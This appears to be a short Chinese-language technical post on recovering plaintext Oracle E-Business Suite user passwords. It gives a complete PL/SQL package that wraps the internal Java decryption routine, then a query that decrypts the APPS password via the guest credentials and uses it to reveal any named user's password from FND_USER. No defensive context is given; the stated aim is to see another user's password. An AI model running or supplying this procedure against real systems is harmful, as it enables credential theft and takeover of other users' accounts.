前提:你有apps的数据库账户,想知道某个用户的密码,因为fnd_user中的密码为加密的,所以无法看懂,你可以尝试用下边的方式来查看用户密码。
1.创建Package,这个package会调用内部的解码类
--创建Package Head
CREATE OR REPLACE PACKAGE GET_PWD AS
FUNCTION DECRYPT(KEY IN VARCHAR2,
VALUE IN VARCHAR2) RETURN VARCHAR2;
END GET_PWD;
/
--创建Package Body
CREATE OR REPLACE PACKAGE BODY GET_PWD AS
FUNCTION DECRYPT(KEY IN VARCHAR2,
VALUE IN VARCHAR2) RETURN VARCHAR2 AS
LANGUAGE JAVA NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';
END GET_PWD;
/
2.查询用户
SELECT USR.USER_NAME,
GET_PWD.DECRYPT((SELECT (SELECT GET_PWD.DECRYPT(FND_WEB_SEC.GET_GUEST_USERNAME_PWD,
USERTABLE.ENCRYPTED_FOUNDATION_PASSWORD)
FROM DUAL) AS APPS_PASSWORD
FROM APPS.FND_USER USERTABLE
WHERE USERTABLE.USER_NAME =
(SELECT SUBSTR(FND_WEB_SEC.GET_GUEST_USERNAME_PWD,
1,
INSTR(FND_WEB_SEC.GET_GUEST_USERNAME_PWD,
'/') - 1)
FROM DUAL)),
USR.ENCRYPTED_USER_PASSWORD) PASSWORD
FROM APPS.FND_USER USR
WHERE USR.USER_NAME = '&USER_NAME';